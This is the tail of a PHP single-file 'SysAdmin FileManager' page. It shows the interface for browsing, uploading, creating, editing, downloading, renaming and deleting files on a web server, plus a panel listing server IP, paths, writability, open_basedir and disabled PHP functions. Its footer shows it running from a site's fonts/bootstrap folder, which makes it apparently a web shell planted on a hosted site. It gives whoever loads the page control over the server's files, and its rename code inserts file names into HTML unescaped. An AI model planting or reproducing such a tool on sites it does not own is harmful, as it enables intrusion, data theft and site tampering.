            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }

        .quick-actions {
            display: flex;
            gap: 8px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }

        .quick-actions form { flex: 1; min-width: 200px; }

        .perm-cell {
            font-family: 'Fira Code', monospace;
            font-size: 0.75rem;
            color: var(--text-muted);
        }

        .owner-cell {
            font-size: 0.75rem;
            color: var(--text-muted);
        }

        .size-cell {
            font-family: 'Fira Code', monospace;
            font-size: 0.8rem;
        }

        .date-cell {
            font-size: 0.8rem;
            color: var(--text-muted);
        }

        .empty-state {
            text-align: center;
            padding: 40px;
            color: var(--text-muted);
        }

        .empty-state-icon { font-size: 3rem; margin-bottom: 10px; }

        @keyframes slideIn {
            from { transform: translateX(100%); opacity: 0; }
            to { transform: translateX(0); opacity: 1; }
        }

        @media (max-width: 768px) {
            .header { flex-direction: column; gap: 10px; text-align: center; }
            .top-bar { flex-direction: column; align-items: stretch; }
            .actions { justify-content: center; }
            .file-table { font-size: 0.75rem; }
            .file-table th:nth-child(3), .file-table td:nth-child(3),
            .file-table th:nth-child(4), .file-table td:nth-child(4) { display: none; }
        }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <h1>📁 <?php echo sanitize_output($config['app_name']); ?></h1>
        <div class="meta">
            <?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> | PHP <?php echo PHP_VERSION; ?>
        </div>
    </div>

    <div class="top-bar">
        <?php echo create_breadcrumbs($current_dir); ?>
        
        <div class="actions">
            <a href="?" class="btn btn-secondary">📂 Files</a>
            <a href="?action=upload" class="btn btn-secondary">📤 Upload</a>
            <a href="?action=create" class="btn btn-secondary">➕ New</a>
            <a href="?action=info" class="btn btn-secondary">â„šī¸ Info</a>
            <?php if ($has_parent): ?>
                <a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary">âŦ†ī¸ Up</a>
            <?php endif; ?>
        </div>
    </div>

    <div class="content">
        <div class="toast-container" id="toastContainer">
            <?php if ($message): ?>
            <div class="toast <?php echo $message_type; ?>">
                <span><?php echo sanitize_output($message); ?></span>
            </div>
            <?php endif; ?>
        </div>

        <?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?>
            <div class="form-panel">
                <h3>📤 Upload File</h3>
                <p style="font-size:0.85rem; color:var(--text-muted); margin-bottom:15px;">
                    Target: <strong><?php echo sanitize_output($current_dir); ?></strong><br>
                    Max size: <?php echo format_size($config['max_upload_size']); ?>
                    <?php if (!empty($config['allowed_extensions'])): ?>
                        | Allowed: <?php echo implode(', ', $config['allowed_extensions']); ?>
                    <?php endif; ?>
                </p>
                <form method="post" enctype="multipart/form-data" id="uploadForm">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="file" name="upload_file" class="input-control" required>
                        <button type="submit" class="btn btn-primary">Upload</button>
                    </div>
                </form>
                <div id="uploadProgress" style="display:none; margin-top:15px;">
                    <div style="background:#e2e8f0; border-radius:4px; overflow:hidden; height:8px;">
                        <div id="progressBar" style="background:var(--primary); height:100%; width:0%; transition:width 0.3s;"></div>
                    </div>
                    <p id="progressText" style="font-size:0.8rem; color:var(--text-muted); margin-top:5px;">Uploading...</p>
                </div>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'create'): ?>
            <div class="form-panel">
                <h3>➕ Create New</h3>
                <form method="post" style="margin-bottom:15px;">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="text" name="mkdir" class="input-control" placeholder="New folder name...">
                        <button type="submit" class="btn btn-primary">📁 Create Folder</button>
                    </div>
                </form>
                <form method="post">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="text" name="create_file" class="input-control" placeholder="New file name (e.g., config.php)...">
                        <button type="submit" class="btn btn-success">📄 Create File</button>
                    </div>
                </form>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'info'): ?>
            <div class="form-panel">
                <h3>â„šī¸ System Information</h3>
                <div class="info-box">
                    <table style="width:100%; border-collapse:collapse;">
                        <tr><td style="padding:5px 10px; font-weight:600;">Server Software</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">PHP Version</td><td style="padding:5px 10px;"><?php echo PHP_VERSION; ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">Operating System</td><td style="padding:5px 10px;"><?php echo sanitize_output(php_uname()); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Server IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">Your IP</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Document Root</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">Script Path</td><td style="padding:5px 10px;"><?php echo sanitize_output(__FILE__); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Current Directory</td><td style="padding:5px 10px;"><?php echo sanitize_output($current_dir); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">Writable</td><td style="padding:5px 10px;"><?php echo is_writable($current_dir) ? '<span style="color:var(--success);">✓ Yes</span>' : '<span style="color:var(--danger);">✗ No</span>'; ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">Disk Free Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">Disk Total Space</td><td style="padding:5px 10px;"><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">upload_max_filesize</td><td style="padding:5px 10px;"><?php echo ini_get('upload_max_filesize'); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">post_max_size</td><td style="padding:5px 10px;"><?php echo ini_get('post_max_size'); ?></td></tr>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">memory_limit</td><td style="padding:5px 10px;"><?php echo ini_get('memory_limit'); ?></td></tr>
                        <tr><td style="padding:5px 10px; font-weight:600;">max_execution_time</td><td style="padding:5px 10px;"><?php echo ini_get('max_execution_time'); ?>s</td></tr>
                        <?php $ob = ini_get('open_basedir'); ?>
                        <tr style="background:rgba(255,255,255,0.5);"><td style="padding:5px 10px; font-weight:600;">open_basedir</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--success);">No restriction</span>'; ?></td></tr>
                        <?php $dl = ini_get('disable_functions'); ?>
                        <tr><td style="padding:5px 10px; font-weight:600;">Disabled Functions</td><td style="padding:5px 10px; font-size:0.8rem;"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--success);">None</span>'; ?></td></tr>
                    </table>
                </div>
            </div>

        <?php elseif (isset($_GET['view']) && !empty($view_content)): ?>
            <div class="form-panel">
                <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;">
                    <h3>đŸ‘ī¸ View: <?php echo sanitize_output($_GET['view']); ?></h3>
                    <div class="action-links">
                        <?php if (is_editable($_GET['view'])): ?>
                            <a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-primary btn-sm">âœī¸ Edit</a>
                        <?php endif; ?>
                        <a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">âŦ‡ī¸ Download</a>
                        <a href="?" class="btn btn-secondary btn-sm">✕ Close</a>
                    </div>
                </div>
                <div style="background:white; padding:10px; border:1px solid #e2e8f0; border-radius:6px; overflow:hidden;">
                    <?php echo $view_content; ?>
                </div>
            </div>

        <?php elseif (!empty($edit_filename)): ?>
            <div class="form-panel">
                <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; flex-wrap:wrap; gap:10px;">
                    <h3>âœī¸ Edit: <?php echo sanitize_output($edit_filename); ?></h3>
                    <div class="action-links">
                        <a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary btn-sm">đŸ‘ī¸ View</a>
                        <a href="?" class="btn btn-secondary btn-sm">✕ Cancel</a>
                    </div>
                </div>
                <form method="post" id="editForm">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>">
                    <div class="editor-container">
                        <textarea name="edit_content" id="editorTextarea" class="editor-textarea"><?php echo sanitize_output($edit_content); ?></textarea>
                    </div>
                    <div class="editor-actions">
                        <button type="submit" name="save_edit" value="1" class="btn btn-success">💾 Save Changes</button>
                        <button type="button" class="btn btn-secondary" onclick="if(confirm('Discard changes?')) window.location.href='?'">Cancel</button>
                        <span id="editorInfo" style="margin-left:auto; font-size:0.8rem; color:var(--text-muted);"></span>
                    </div>
                </form>
            </div>

        <?php else: ?>
            <!-- Default: File Listing -->
            <div class="quick-actions">
                <form method="post" class="form-row">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <input type="text" name="mkdir" class="input-control" placeholder="📁 New folder name...">
                    <button type="submit" class="btn btn-primary btn-sm">Create</button>
                </form>
                <form method="post" class="form-row">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <input type="text" name="create_file" class="input-control" placeholder="📄 New file name...">
                    <button type="submit" class="btn btn-success btn-sm">Create</button>
                </form>
            </div>

            <table class="file-table">
                <thead>
                    <tr>
                        <th style="width:35%;">Name</th>
                        <th style="width:10%;">Size</th>
                        <th style="width:12%;">Permissions</th>
                        <th style="width:12%;">Owner</th>
                        <th style="width:15%;">Modified</th>
                        <th style="width:16%;">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $files = @scandir($current_dir);
                    if ($files === false) {
                        echo "<tr><td colspan='6' class='error-box'>Cannot read directory. Permission denied.</td></tr>";
                    } else {
                        $dirs = [];
                        $items = [];
                        
                        foreach ($files as $f) {
                            if ($f === '.' || $f === '..') continue;
                            $path = $current_dir . DS . $f;
                            if (is_dir($path)) {
                                $dirs[$f] = $path;
                            } elseif (is_file($path)) {
                                $items[$f] = $path;
                            }
                        }
                        
                        // Sort directories first, then files
                        ksort($dirs);
                        ksort($items);
                        $all_files = $dirs + $items;

                        if (empty($all_files)) {
                            echo "<tr><td colspan='6' class='empty-state'>
                                <div class='empty-state-icon'>📂</div>
                                <p>This folder is empty</p>
                            </td></tr>";
                        } else {
                            foreach ($all_files as $name => $path) {
                                $is_dir = is_dir($path);
                                $ext = get_file_extension($name);
                                
                                // Get icon
                                if ($is_dir) {
                                    $icon = '<span class="file-icon icon-dir">📁</span>';
                                } else {
                                    $icon = '<span class="file-icon">' . get_file_icon($name) . '</span>';
                                }
                                
                                $size = $is_dir ? '-' : format_size(@filesize($path));
                                $perms = get_perms($path);
                                $owner = get_owner_name($path);
                                $time = date('Y-m-d H:i', @filemtime($path));
                                
                                $safe_name = sanitize_output($name);
                                $safe_name_js = addslashes($name);
                                
                                // Build action links
                                $actions = '';
                                
                                if ($is_dir) {
                                    $actions .= '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="action-link">📂 Open</a>';
                                } else {
                                    $actions .= '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">đŸ‘ī¸ View</a>';
                                    
                                    if (is_editable($name)) {
                                        $actions .= '<a href="?edit=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âœī¸ Edit</a>';
                                    }
                                    
                                    $actions .= '<a href="?download=' . urlencode($name) . '&token=' . $security_token . '" class="action-link">âŦ‡ī¸ Download</a>';
                                }
                                
                                $actions .= '<a href="javascript:void(0)" onclick="showRenameModal(\'' . $safe_name_js . '\')" class="action-link">📝 Rename</a>';
                                $actions .= '<a href="javascript:void(0)" onclick="showDeleteModal(\'' . $safe_name_js . '\')" class="action-link action-delete">đŸ—‘ī¸ Delete</a>';
                                
                                // Build row
                                echo '<tr>';
                                echo '<td>';
                                if ($is_dir) {
                                    echo '<a href="?cd=' . urlencode($path) . '&token=' . $security_token . '" class="file-name">';
                                } else {
                                    echo '<a href="?view=' . urlencode($name) . '&token=' . $security_token . '" class="file-name">';
                                }
                                echo $icon . ' ' . $safe_name;
                                echo '</a></td>';
                                echo '<td class="size-cell">' . $size . '</td>';
                                echo '<td class="perm-cell">' . $perms . '</td>';
                                echo '<td class="owner-cell">' . $owner . '</td>';
                                echo '<td class="date-cell">' . $time . '</td>';
                                echo '<td><div class="action-links">' . $actions . '</div></td>';
                                echo '</tr>';
                            }
                        }
                        
                        // Show item count
                        $dir_count = count($dirs);
                        $file_count = count($items);
                        echo '<tr><td colspan="6" style="padding:10px 12px; font-size:0.8rem; color:var(--text-muted); background:#f8fafc; text-align:right;">';
                        echo $dir_count . ' folder' . ($dir_count !== 1 ? 's' : '') . ', ' . $file_count . ' file' . ($file_count !== 1 ? 's' : '');
                        echo '</td></tr>';
                    }
                    ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
    
    <div style="padding:10px 20px; background:#f8fafc; border-top:1px solid var(--border); font-size:0.75rem; color:var(--text-muted); text-align:center;">
        SysAdmin FileManager | Path: <?php echo sanitize_output($current_dir); ?> | Writable: <?php echo is_writable($current_dir) ? 'Yes' : 'No'; ?>
    </div>
</div>

<!-- Delete Confirmation Modal -->
<div class="modal-overlay" id="deleteModal">
    <div class="modal">
        <h3>đŸ—‘ī¸ Confirm Delete</h3>
        <p>Are you sure you want to delete <strong id="deleteItemName"></strong>?</p>
        <p style="font-size:0.85rem; color:var(--danger);">This action cannot be undone!</p>
        <div class="modal-actions">
            <button class="btn btn-secondary" onclick="closeModal('deleteModal')">Cancel</button>
            <button class="btn btn-danger" id="confirmDeleteBtn">Delete</button>
        </div>
    </div>
</div>

<!-- Rename Modal -->
<div class="modal-overlay" id="renameModal">
    <div class="modal">
        <h3>📝 Rename</h3>
        <input type="text" id="renameInput" class="rename-input" placeholder="New name...">
        <input type="hidden" id="renameOriginal">
        <div class="modal-actions">
            <button class="btn btn-secondary" onclick="closeModal('renameModal')">Cancel</button>
            <button class="btn btn-primary" id="confirmRenameBtn">Rename</button>
        </div>
    </div>
</div>

<script>
// Toast auto-hide
setTimeout(function() {
    document.querySelectorAll('.toast').forEach(function(el) {
        el.style.opacity = '0';
        el.style.transition = 'opacity 0.5s';
        setTimeout(function() { el.remove(); }, 500);
    });
}, 4000);

// Delete Modal
let deleteTarget = '';
function showDeleteModal(name) {
    deleteTarget = name;
    document.getElementById('deleteItemName').textContent = name;
    document.getElementById('deleteModal').style.display = 'flex';
}

document.getElementById('confirmDeleteBtn').onclick = function() {
    if (deleteTarget) {
        window.location.href = '?delete=' + encodeURIComponent(deleteTarget) + '&token=<?php echo $security_token; ?>';
    }
};

// Rename Modal
function showRenameModal(oldName) {
    document.getElementById('renameOriginal').value = oldName;
    document.getElementById('renameInput').value = oldName;
    document.getElementById('renameModal').style.display = 'flex';
    
    // Select filename without extension
    var input = document.getElementById('renameInput');
    var dotIndex = oldName.lastIndexOf('.');
    if (dotIndex > 0) {
        input.setSelectionRange(0, dotIndex);
    } else {
        input.select();
    }
    input.focus();
}

document.getElementById('confirmRenameBtn').onclick = function() {
    var oldName = document.getElementById('renameOriginal').value;
    var newName = document.getElementById('renameInput').value.trim();
    
    if (newName && newName !== oldName) {
        var form = document.createElement('form');
        form.method = 'POST';
        form.innerHTML = '<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">' +
            '<input type="hidden" name="rename_from" value="' + oldName + '">' +
            '<input type="hidden" name="rename_to" value="' + newName + '">';
        document.body.appendChild(form);
        form.submit();
    }
};

// Enter key on rename input
document.getElementById('renameInput').addEventListener('keypress', function(e) {
    if (e.key === 'Enter') {
        document.getElementById('confirmRenameBtn').click();
    }
});

// Close modals
function closeModal(id) {
    document.getElementById(id).style.display = 'none';
}

// Close modal on overlay click
document.querySelectorAll('.modal-overlay').forEach(function(overlay) {
    overlay.addEventListener('click', function(e) {
        if (e.target === this) {
            this.style.display = 'none';
        }
    });
});

// Close modals on Escape key
document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') {
        document.querySelectorAll('.modal-overlay').forEach(function(m) {
            m.style.display = 'none';
        });
    }
});

// Editor enhancements
<?php if (!empty($edit_filename)): ?>
(function() {
    var textarea = document.getElementById('editorTextarea');
    var infoSpan = document.getElementById('editorInfo');
    
    function updateInfo() {
        var text = textarea.value;
        var lines = text.split('\n').length;
        var chars = text.length;
        infoSpan.textContent = 'Lines: ' + lines + ' | Characters: ' + chars;
    }
    
    updateInfo();
    textarea.addEventListener('input', updateInfo);
    
    // Tab key support
    textarea.addEventListener('keydown', function(e) {
        if (e.key === 'Tab') {
            e.preventDefault();
            var start = this.selectionStart;
            var end = this.selectionEnd;
            this.value = this.value.substring(0, start) + '    ' + this.value.substring(end);
            this.selectionStart = this.selectionEnd = start + 4;
            updateInfo();
        }
    });
    
    // Auto-resize
    function autoResize() {
        textarea.style.height = 'auto';
        textarea.style.height = Math.max(500, textarea.scrollHeight) + 'px';
    }
    
    autoResize();
    textarea.addEventListener('input', autoResize);
})();

// Warn before leaving with unsaved changes
var editForm = document.getElementById('editForm');
var originalContent = textarea ? textarea.value : '';
window.addEventListener('beforeunload', function(e) {
    if (textarea && textarea.value !== originalContent) {
        e.preventDefault();
        e.returnValue = '';
    }
});
<?php endif; ?>

// Upload form with XHR for progress (optional enhancement)
var uploadForm = document.getElementById('uploadForm');
if (uploadForm) {
    uploadForm.addEventListener('submit', function(e) {
        // Let form submit normally, but show progress indicator
        document.getElementById('uploadProgress').style.display = 'block';
        document.getElementById('progressBar').style.width = '50%';
        document.getElementById('progressText').textContent = 'Processing upload...';
    });
}
</script>
</body>
</html>
Size: 64.35 KBMIME: text/x-phpLines: 1575
SysAdmin FileManager | Path: /home/k2202442/public_html/fonts/bootstrap | Writable: Yes